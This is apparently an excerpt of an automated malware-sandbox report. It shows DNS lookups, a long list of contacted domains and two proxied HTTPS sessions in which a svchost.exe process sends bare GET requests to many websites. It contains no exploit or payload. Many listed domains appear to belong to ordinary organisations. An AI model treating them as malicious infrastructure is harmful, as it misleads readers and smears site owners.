May 31, 2023 14:52:22.486449957 CEST	8.8.8.8	192.168.2.3	0x70b	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.526222944 CEST	8.8.8.8	192.168.2.3	0x4428	No error (0)	ntc.edu.au		192.124.249.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.616821051 CEST	8.8.8.8	192.168.2.3	0xa64c	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.661494017 CEST	8.8.8.8	192.168.2.3	0xa715	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.698797941 CEST	8.8.8.8	192.168.2.3	0x21a7	No error (0)	avse.hu		185.129.138.60	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.703741074 CEST	8.8.8.8	192.168.2.3	0x9817	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.710393906 CEST	8.8.8.8	192.168.2.3	0x968c	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.720094919 CEST	8.8.8.8	192.168.2.3	0x6adf	No error (0)	bosado.com		5.39.75.157	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.806595087 CEST	8.8.8.8	192.168.2.3	0x1656	No error (0)	jabian.com		104.26.7.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.806595087 CEST	8.8.8.8	192.168.2.3	0x1656	No error (0)	jabian.com		172.67.71.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.806595087 CEST	8.8.8.8	192.168.2.3	0x1656	No error (0)	jabian.com		104.26.6.17	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.894565105 CEST	8.8.8.8	192.168.2.3	0xe494	No error (0)	floopis.com		3.64.163.50	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.966471910 CEST	8.8.8.8	192.168.2.3	0xf003	Server failure (2)	websy.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.990525007 CEST	8.8.8.8	192.168.2.3	0x4814	No error (0)	thiessen.net		62.75.251.116	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.999296904 CEST	8.8.8.8	192.168.2.3	0x1fbc	No error (0)	daytonir.com		172.64.147.213	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.999296904 CEST	8.8.8.8	192.168.2.3	0x1fbc	No error (0)	daytonir.com		104.18.40.43	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.999474049 CEST	8.8.8.8	192.168.2.3	0x606e	No error (0)	atb-lit.com		208.100.26.245	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.999496937 CEST	8.8.8.8	192.168.2.3	0xdf11	No error (0)	skgm.ru		91.201.52.102	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:22.999840975 CEST	8.8.8.8	192.168.2.3	0x9360	No error (0)	skypearl.com		153.122.170.15	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.006970882 CEST	8.8.8.8	192.168.2.3	0x691d	No error (0)	shesfit.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.006970882 CEST	8.8.8.8	192.168.2.3	0x691d	No error (0)	shesfit.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.099103928 CEST	8.8.8.8	192.168.2.3	0xa797	No error (0)	captlfix.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.099103928 CEST	8.8.8.8	192.168.2.3	0xa797	No error (0)	captlfix.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.099103928 CEST	8.8.8.8	192.168.2.3	0xa797	No error (0)	captlfix.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.099103928 CEST	8.8.8.8	192.168.2.3	0xa797	No error (0)	captlfix.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.115386963 CEST	8.8.8.8	192.168.2.3	0xf1c1	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.116440058 CEST	8.8.8.8	192.168.2.3	0x7644	No error (0)	likangds.com		23.225.40.19	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.124166965 CEST	8.8.8.8	192.168.2.3	0x516c	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.129465103 CEST	8.8.8.8	192.168.2.3	0x22bf	No error (0)	esmoke.net		204.15.134.44	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.146260977 CEST	8.8.8.8	192.168.2.3	0xe0c3	No error (0)	bidroll.com		13.56.33.8	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.276547909 CEST	8.8.8.8	192.168.2.3	0x1e49	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.336967945 CEST	8.8.8.8	192.168.2.3	0xd0a6	No error (0)	mcseurope.nl		46.19.218.80	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.369251013 CEST	8.8.8.8	192.168.2.3	0x23c0	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.497333050 CEST	8.8.8.8	192.168.2.3	0x19f4	Server failure (2)	invictus.pl	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.558727980 CEST	8.8.8.8	192.168.2.3	0x230d	No error (0)	mjrcpas.com		47.91.170.222	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.636471987 CEST	8.8.8.8	192.168.2.3	0xccea	No error (0)	hazmatt.com		205.178.189.131	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.705271959 CEST	8.8.8.8	192.168.2.3	0xe4c2	No error (0)	holp-ai.com		59.106.13.169	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.716545105 CEST	8.8.8.8	192.168.2.3	0x9817	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.718612909 CEST	8.8.8.8	192.168.2.3	0xcf8e	No error (0)	anduran.com	traff-5.hugedomains.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:23.718612909 CEST	8.8.8.8	192.168.2.3	0xcf8e	No error (0)	traff-5.hugedomains.com	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		CNAME (Canonical name)	IN (0x0001)	false
May 31, 2023 14:52:23.718612909 CEST	8.8.8.8	192.168.2.3	0xcf8e	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		54.161.222.85	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.718612909 CEST	8.8.8.8	192.168.2.3	0xcf8e	No error (0)	hdr-nlb7-aebd5d615260636b.elb.us-east-1.amazonaws.com		34.205.242.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:23.864578962 CEST	8.8.8.8	192.168.2.3	0x1ee0	No error (0)	com-edit.fr		63.251.106.25	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.007560015 CEST	8.8.8.8	192.168.2.3	0xddb1	No error (0)	ssm.ch		93.189.66.202	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.144196033 CEST	8.8.8.8	192.168.2.3	0xbffb	No error (0)	bd-style.com		103.112.69.92	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.363290071 CEST	8.8.8.8	192.168.2.3	0x1d95	No error (0)	xult.org		65.52.128.33	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.413106918 CEST	8.8.8.8	192.168.2.3	0x34e8	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.420738935 CEST	8.8.8.8	192.168.2.3	0x5276	No error (0)	okashimo.com		203.137.75.45	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.488954067 CEST	8.8.8.8	192.168.2.3	0xe228	Name error (3)	amba-tc.si	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.505418062 CEST	8.8.8.8	192.168.2.3	0xc2cc	No error (0)	komie.com		59.106.13.181	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.510914087 CEST	8.8.8.8	192.168.2.3	0x726c	No error (0)	themark.org		35.172.94.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.510914087 CEST	8.8.8.8	192.168.2.3	0x726c	No error (0)	themark.org		100.24.208.97	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.539424896 CEST	8.8.8.8	192.168.2.3	0x8e5d	No error (0)	unicus.jp		49.212.232.113	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.539901018 CEST	8.8.8.8	192.168.2.3	0xab74	No error (0)	jnf.at		136.243.147.81	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.678713083 CEST	8.8.8.8	192.168.2.3	0x984a	No error (0)	gujarat.com		104.21.73.143	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.678713083 CEST	8.8.8.8	192.168.2.3	0x984a	No error (0)	gujarat.com		172.67.145.148	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.718622923 CEST	8.8.8.8	192.168.2.3	0x9817	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.772033930 CEST	8.8.8.8	192.168.2.3	0x90c	No error (0)	pellys.co.uk		77.72.4.226	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:24.944888115 CEST	8.8.8.8	192.168.2.3	0x8029	No error (0)	ftmobile.com		199.34.228.78	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.100568056 CEST	8.8.8.8	192.168.2.3	0x95c7	No error (0)	shanks.co.uk		217.19.254.22	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.756098986 CEST	8.8.8.8	192.168.2.3	0xa899	No error (0)	usadig.com		198.100.146.220	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.826109886 CEST	8.8.8.8	192.168.2.3	0x2693	No error (0)	awal.ws		127.0.0.1	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:25.989809036 CEST	8.8.8.8	192.168.2.3	0xc05d	No error (0)	e-kami.net		202.172.28.89	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.174851894 CEST	8.8.8.8	192.168.2.3	0xa608	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.309705019 CEST	8.8.8.8	192.168.2.3	0xd1a1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.441879988 CEST	8.8.8.8	192.168.2.3	0x8a99	No error (0)	midap.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.441879988 CEST	8.8.8.8	192.168.2.3	0x8a99	No error (0)	midap.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.441879988 CEST	8.8.8.8	192.168.2.3	0x8a99	No error (0)	midap.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.441879988 CEST	8.8.8.8	192.168.2.3	0x8a99	No error (0)	midap.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.491699934 CEST	8.8.8.8	192.168.2.3	0xd7a3	No error (0)	sledsport.ru		185.22.232.175	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.514664888 CEST	8.8.8.8	192.168.2.3	0x414f	No error (0)	atbauk.org		172.67.196.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.514664888 CEST	8.8.8.8	192.168.2.3	0x414f	No error (0)	atbauk.org		104.21.92.170	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.598180056 CEST	8.8.8.8	192.168.2.3	0x2ff6	No error (0)	sanfotek.net		216.69.141.67	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.717823982 CEST	8.8.8.8	192.168.2.3	0x9817	Server failure (2)	clysma.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:26.867948055 CEST	8.8.8.8	192.168.2.3	0x7e08	No error (0)	peminet.net		198.54.117.242	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.320694923 CEST	8.8.8.8	192.168.2.3	0xd1a1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.542536974 CEST	8.8.8.8	192.168.2.3	0xbcca	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.542536974 CEST	8.8.8.8	192.168.2.3	0xbcca	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.775933981 CEST	8.8.8.8	192.168.2.3	0x55b8	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.775933981 CEST	8.8.8.8	192.168.2.3	0x55b8	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:27.890607119 CEST	8.8.8.8	192.168.2.3	0x5ce9	No error (0)	tozzhin.com		202.94.166.30	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.078946114 CEST	8.8.8.8	192.168.2.3	0x246e	No error (0)	x96.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.078946114 CEST	8.8.8.8	192.168.2.3	0x246e	No error (0)	x96.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.148329020 CEST	8.8.8.8	192.168.2.3	0x524f	No error (0)	aiolos-sa.gr		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.148329020 CEST	8.8.8.8	192.168.2.3	0x524f	No error (0)	aiolos-sa.gr		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.337721109 CEST	8.8.8.8	192.168.2.3	0xd1a1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.448740005 CEST	8.8.8.8	192.168.2.3	0x1d6e	No error (0)	webways.com		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.448740005 CEST	8.8.8.8	192.168.2.3	0x1d6e	No error (0)	webways.com		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.516305923 CEST	8.8.8.8	192.168.2.3	0x5cec	Name error (3)	toundo.net	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.549077034 CEST	8.8.8.8	192.168.2.3	0xe119	No error (0)	mkm-gr.com		79.124.76.247	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.867403030 CEST	8.8.8.8	192.168.2.3	0x94ee	No error (0)	uster.com		172.67.32.172	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.867403030 CEST	8.8.8.8	192.168.2.3	0x94ee	No error (0)	uster.com		104.20.220.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.867403030 CEST	8.8.8.8	192.168.2.3	0x94ee	No error (0)	uster.com		104.20.221.29	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:28.968803883 CEST	8.8.8.8	192.168.2.3	0x52d5	No error (0)	vfcindia.com		103.191.209.76	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.333956957 CEST	8.8.8.8	192.168.2.3	0x94e6	No error (0)	pertex.com		185.151.30.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.380232096 CEST	8.8.8.8	192.168.2.3	0xd7d8	No error (0)	alexpope.biz		76.74.184.61	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.665330887 CEST	8.8.8.8	192.168.2.3	0x5cbb	No error (0)	onzcda.com		35.186.238.101	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:29.693028927 CEST	8.8.8.8	192.168.2.3	0xf03d	No error (0)	yasuma.com		61.200.81.23	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.037079096 CEST	8.8.8.8	192.168.2.3	0x7db1	No error (0)	fdlymca.org		192.124.249.9	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.176481009 CEST	8.8.8.8	192.168.2.3	0x88d9	No error (0)	kavram.com		172.67.189.68	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.176481009 CEST	8.8.8.8	192.168.2.3	0x88d9	No error (0)	kavram.com		104.21.89.126	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.299283981 CEST	8.8.8.8	192.168.2.3	0x5f77	No error (0)	fogra.com.pl		85.128.55.51	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.350931883 CEST	8.8.8.8	192.168.2.3	0xd1a1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.490745068 CEST	8.8.8.8	192.168.2.3	0x5bb7	No error (0)	oozkranj.com		212.44.102.57	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:30.599334955 CEST	8.8.8.8	192.168.2.3	0xb338	No error (0)	uhsa.edu.ag		192.124.249.13	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.252702951 CEST	8.8.8.8	192.168.2.3	0x196d	No error (0)	pers.com		192.124.249.3	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.386924982 CEST	8.8.8.8	192.168.2.3	0x91f1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:31.911303043 CEST	8.8.8.8	192.168.2.3	0x2f69	No error (0)	106west.com		148.130.4.196	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.012587070 CEST	8.8.8.8	192.168.2.3	0xa313	No error (0)	umcor.am		188.114.96.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.012587070 CEST	8.8.8.8	192.168.2.3	0xa313	No error (0)	umcor.am		188.114.97.7	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.189222097 CEST	8.8.8.8	192.168.2.3	0x474d	No error (0)	ruzee.com		207.180.198.201	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.383408070 CEST	8.8.8.8	192.168.2.3	0x91f1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:32.648431063 CEST	8.8.8.8	192.168.2.3	0x88ae	No error (0)	semuk.com		86.105.245.69	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:33.398701906 CEST	8.8.8.8	192.168.2.3	0x91f1	Server failure (2)	actmin.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:33.852530003 CEST	8.8.8.8	192.168.2.3	0x97f2	No error (0)	sjbmw.com		164.92.82.47	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.076741934 CEST	8.8.8.8	192.168.2.3	0xc35	No error (0)	hbfuels.com		85.233.160.146	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.150620937 CEST	8.8.8.8	192.168.2.3	0xbae6	Server failure (2)	awfraser.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.265413046 CEST	8.8.8.8	192.168.2.3	0xda2e	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.496843100 CEST	8.8.8.8	192.168.2.3	0xa8d0	Server failure (2)	cjcagent.com	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.887546062 CEST	8.8.8.8	192.168.2.3	0xc420	No error (0)	gydrozo.ru		91.220.211.163	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895100117 CEST	8.8.8.8	192.168.2.3	0x7794	No error (0)	pccj.net		172.67.148.147	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895100117 CEST	8.8.8.8	192.168.2.3	0x7794	No error (0)	pccj.net		104.21.29.72	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895184040 CEST	8.8.8.8	192.168.2.3	0x9c82	No error (0)	mijash3.com		198.49.23.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895184040 CEST	8.8.8.8	192.168.2.3	0x9c82	No error (0)	mijash3.com		198.185.159.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895184040 CEST	8.8.8.8	192.168.2.3	0x9c82	No error (0)	mijash3.com		198.185.159.144	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.895184040 CEST	8.8.8.8	192.168.2.3	0x9c82	No error (0)	mijash3.com		198.49.23.145	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.907778978 CEST	8.8.8.8	192.168.2.3	0x3931	Server failure (2)	atis-sk.ca	none	none	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:34.920989990 CEST	8.8.8.8	192.168.2.3	0x3909	No error (0)	cqdgroup.com		221.132.33.88	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

techtrans.de

flamingorecordings.com

dataform.co.uk

diamir.de

nts-web.net

ldh.la.gov

clinicasanluis.com.co

orlyhotel.com

www.diamir.de

hyab.se

pleszew.policja.gov.pl

www.dgmna.com

www.jenco.co.uk

www.olras.com

www.quadlock.com

www.pdqhomes.com

www.rs-ag.com

www.alteor.cl

www.valdal.com

www.baijaku.com

www.pr-park.com

www.depalo.com

www.elpro.si

www.credo.edu.pl

www.vazir.se

www.transsib.com

www.otena.com

www.mqs.com.br

www.iamdirt.com

www.petsfan.com

www.tvtools.fi

www.evcpa.com

www.wifi4all.nl

www.t-tre.com

www.abart.pl

www.naoi-a.com

www.fcwcvt.org

www.xaicom.es

www.nelipak.nl

www.hummer.hu

www.abdg.com

www.cokocoko.com

www.aevga.com

www.waldi.pl

www.edimart.hu

www.synetik.net

www.ora.ecnet.jp

www.snugpak.com

www.speelhal.net

www.pcgrate.com

www.stnic.co.uk

www.yocinc.org

www.findbc.com

www.photo4b.com

www.c9dd.com

www.crcsi.org

www.domon.com

www.mobilnic.net

www.vitaindu.com

www.ora-ito.com

www.jacomfg.com

www.fink.com

www.pwd.org

www.valselit.com

www.holleman.us

www.jchysk.com

www.pupi.cz

www.netcr.com

www.2print.com

www.nqks.com

www.x0c.com

www.dayvo.com

www.myropcb.com

www.lrsuk.com

www.stajum.com

www.yoruksut.com

www.item-pr.com

www.nunomira.com

www.vexcom.com

www.medius.si

www.sjbs.org

www.ka-mo-me.com

www.maktraxx.com

www.cel-cpa.com

www.com-sit.com

www.fe-bauer.de

www.kernsafe.com

www.railbook.net

www.fnsds.org

www.pohlfood.com

www.tyrns.com

www.spanesi.com

www.tc17.com

www.11tochi.net

www.pb-games.com

www.sclover3.com

pccj.net

x96.com

univi.it

bigzz.by

wanoa.com

mackusick.com

sinwal.com

captlfix.com

t-trust.jp

listel.co.jp

burstner.ru

kevyt.net

keio-web.com

indonesiamedia.com

kayoaiba.com

dspears.com

603888.com

bosado.com

bount.com.tw

a-domani.com

iranytu.net

banvari.com

gujarat.com

ncn.de

biurohera.pl

paraski.org

sgk.home.pl

gbmfg.com

btsi.com.ph

cbaben.com

assideum.com

touchfam.ca

skypearl.com

mikihan.com

tbvlugus.nl

hazmatt.com

pcoyuncu.com

fortknox.bm

tcpoa.com

peminet.net

adeesa.net

aiolos-sa.gr

revoldia.net

78san.com

yhsll.com

rappich.de

camamat.com

reproar.com

metaforacom.com

nekono.net

kairel.com

any-s.net

htsmx.net

rkengg.com

popbook.com

avse.hu

ssm.ch

duiops.net

kumaden.com

yoruksut.com

umcor.am

shesfit.com

ossir.org

webways.com

com-edit.fr

vonparis.com

valselit.com

geecl.com

forbin.net

oaith.ca

impexnc.com

hbfuels.com

nrsi.com

insia.com

notis.ru

amele.com

bidroll.com

magicomm.co.uk

ramkome.com

refintl.org

onzcda.com

nettlinx.org

tozzhin.com

cbras.com

ludea.cz

envogen.com

nlcv.bas.bg

xult.org

acraloc.com

dhh.la.gov

dbnet.at

floopis.com

kamptal.at

kallman.net

daytonir.com

hchc.org

strazynski.pl

sigtoa.com

sokuwan.net

bggs.com

ftmobile.com

alexpope.biz

coxkitchensandbaths.com

mondopp.net

wantapc.net

linac.co.uk

fdlymca.org

mijash3.com

mackusick.de

isom.org

calvinly.com

gydrozo.ru

amic.at

shanks.co.uk

holp-ai.com

portoccd.org

from30ty.com

simetar.com

arowines.com

ntc.edu.au

aba.org.eg

ifesnet.com

amerifor.com

sledsport.ru

k-nikko.com

okashimo.com

gbp-jp.com

pers.com

wvs-net.de

pertex.com

sanfotek.net

lpver.com

karmy.com.pl

kustnara.com

leapc.com

likangds.com

doggybag.org

cjborden.com

agulatex.com

cutchie.com

dyag-eng.com

shiner.com

themark.org

fundeo.com

hamaker.net

sjbmw.com

s5w.com

cpmteam.com

bible.org

muhr-soehne.de

bossinst.com

dayvo.com

siongann.com

komie.com

jabian.com

lyto.net

vfcindia.com

kewlmail.com

shztm.ru

hes.pt

uster.com

yasuma.com

araax.com

gcss.com

anduran.com

midap.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	51781	185.237.66.112	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: techtrans.de
2023-05-31 12:51:51 UTC	1	IN	HTTP/1.1 403 Forbidden Date: Wed, 31 May 2023 12:51:51 GMT Server: Apache Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Expires: 0 X-XSS-Protection: 1; mode=block Upgrade: h2,h2c Connection: Upgrade, close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2023-05-31 12:51:51 UTC	1	IN	Data Raw: 32 63 36 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 27 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 27 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4e 69 6e 6a 61 46 69 72 65 77 61 6c 6c 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 33 70 78 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 27 43 6f 6e 74 65 6e 74 2d 54 79 70 65 27 20 63 6f 6e 74 65 6e 74 3d 27 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 27 3e 3c 2f 68 65 61 64 3e 3c 62 Data Ascii: 2c6<!DOCTYPE HTML PUBLIC '-//IETF//DTD HTML 2.0//EN'><html><head><title>NinjaFirewall 403 Forbidden</title><style>body{font-family:sans-serif;font-size:13px;color:#000;}</style><meta http-equiv='Content-Type' content='text/html; charset=utf-8'></head><b

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	51737	35.214.171.193	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-05-31 12:51:51 UTC	0	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: flamingorecordings.com
2023-05-31 12:51:51 UTC	2	IN	HTTP/1.1 403 Forbidden Server: nginx Date: Wed, 31 May 2023 12:51:51 GMT Content-Type: text/html Content-Length: 75193 Connection: close Vary: Accept-Encoding ETag: "6459edff-125b9" Host-Header: 8441280b0c35cbc1147f8ba998a563a7 X-Proxy-Cache-Info: DT:1
2023-05-31 12:51:51 UTC	2	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 73 74 6f 72 65 2c 6d 61 78 2d 61 67 65 3d 30 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 22 20 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="cache-control" content="no-store,max-age=0" /> <meta name="robots" content="noindex"
